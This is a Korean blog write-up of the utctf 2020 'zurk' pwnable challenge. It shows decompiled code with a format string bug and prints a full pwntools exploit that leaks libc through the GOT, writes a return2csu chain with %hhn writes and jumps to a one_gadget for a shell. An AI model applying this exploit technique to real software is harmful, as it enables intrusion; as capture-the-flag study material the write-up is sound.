일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
Tags
- 문자열 처리
- 분할 정복
- ROP
- 에라토스테네스의 체
- DFS
- 동적 계획법
- 다이나믹 프로그래밍
- 백트래킹
- 이진 탐색
- 스위핑 알고리즘
- House of Orange
- off by one
- heap
- BOF
- 브루트 포스
- 큐
- BFS
- 이분 탐색
- 수학
- OOB
- 연결리스트
- fsb
- RTL
- 스택
- 완전 탐색
- 포맷스트링버그
- syscall
- 이진트리
- tcache
- 투 포인터
Archives
- Today
- Total
SDJ( 수돈재 아님 ㅎ )
utctf 2020 - zurk 본문
이래저래 고민을 좀 많이한 문제다... 마땅히 생각이 나지않아 노가다(?) 방식으로 쉘을 땄는데.. 다른 방법이 있는지는 찾아봐야겠다.
일단 이 글에서 사용한 방법은 return2csu방법을 사용했다.
보호기법은 Partial RELRO만 걸려있고 전부 꺼져있다.
바이너리를 분석해보자.
먼저 main을 보면
1
2
3
4
5
6
|
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
welcome();
while ( 1 )
do_move();
}
|
welcome()함수를 호출하고 while로 do_move()함수를 무한으로 호출하는 것을 볼 수 있다.
welcome함수는 그냥 puts함수이므로 넘어가고,
do_move()함수를 보자.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
int do_move()
{
int result; // eax
char s[64]; // [rsp+0h] [rbp-40h]
puts("What would you like to do?");
fgets(s, 50, stdin);
s[strcspn(s, "\n")] = 0;
if ( !strcmp(s, "go west") )
{
puts("You move west to arrive in a cave dimly lit by torches.");
result = puts("The cave two tunnels, one going east and the other going west.");
}
else if ( !strcmp(s, "go east") )
{
puts("You move east to arrive in a cave dimly lit by torches.");
result = puts("The cave two tunnels, one going east and the other going west.");
}
else
{
printf(s);
result = puts(" is not a valid instruction.");
}
return result;
}
|
else문에서 Format String Bug가 발생하는 것을 볼 수 있다.
일단 맨처음 NX가 꺼져있었기 때문에 fsb로 어떻게든 shellcode를 bss에 쓴다음에 뛸 수 있지 않을까 생각을 했었는데
fsb가 do_move()안에서 무한으로 도는것이 아니고 do_move -> main -> do_move 로 움직여서 sfp나 ret를 변조하고싶어도 안될 것같다는 직감이 들어서 과감하게 return2csu를 선택했다.
( 사실 쉘코드가 더 쉬웠다... )
다른 방법이 있을까 생각을 해봤는데 마땅히 좋은생각이 잘 나지 않았다..
결국 노가다를 선택
ret를 마지막에 return2csu 의 pop시작주소로 덮고 한번에 쉘을 따야하기 때문에 ret 다음부터 차례대로 fsb로 값을 적어줬다.
exploit code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
|
from pwn import *
server = 1
if server:
p = remote("binary.utctf.live", 9003)
else:
p = process("./pwnable")
puts_got = 0x0000000000601018
call_csu = 0x00000000004007C0
pay = ''
pay += '%4$lx'
p.sendline(pay)
p.recvuntil("do?\n")
buf_addr = int(p.recv(12), 16)
print "buf_addr : " + hex(buf_addr)
ret = buf_addr + 0x48
print "ret : " + hex(ret)
pay = ''
pay += '%8$s'
pay += 'a'*(0x10 - len(pay))
pay += p64(puts_got)
p.sendline(pay)
p.recvuntil("do?\n")
libc_puts = u64(p.recv(6).ljust(8, '\x00'))
print "libc_puts : " + hex(libc_puts)
libc_base = libc_puts - 0x6f690
print "libc_base : " + hex(libc_base)
libc_system = libc_base + 0x45390
print "libc_system : " + hex(libc_system)
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = libc_base + one[2]
payload = [
0, # 16 -> rbx
0, # 17 -> rbp
buf_addr + 0x18, # 18 -> r12
0, # 19 -> r13
0, # 20 -> r14
0, # 21 -> r15
call_csu, # loop # 22
]
l = 0
for i in payload:
want_addr = buf_addr + 0x50 + 0x8*l
if i != 0:
for j in range(8):
k = (i >> j*8) & 0xff
if k == 0:
break
pay = ''
pay += '%' + str(k) + 'c' + '%10$hhn'
pay += 'a'*(0x20-len(pay))
pay += p64(want_addr + j)
p.sendline(pay)
else:
pay = ''
pay += '%10$ln'
pay += 'a'*(0x20 - len(pay))
pay += p64(want_addr)
p.sendline(pay)
l += 1
pay = ''
pay += '%' + str(0x07DA) + 'c' + '%10$hn'
pay += 'a'*(0x18-len(pay))
pay += p64(one_gadget)
pay += p64(ret)
p.sendline(pay)
p.interactive()
|
FLAG : utflag{wtf_i_h4d_n0_buffer_overflows}
'write-up > pwnable' 카테고리의 다른 글
utctf 2020 - zurk (0) | 2020.03.09 |
---|---|
utctf 2020 - Cancelled (0) | 2020.03.09 |
utctf 2020 - bof (0) | 2020.03.09 |
Aeroctf 2020 - Shell Me If You Can (0) | 2020.03.01 |
facebook ctf 2019 - overfloat (0) | 2020.02.07 |
Comments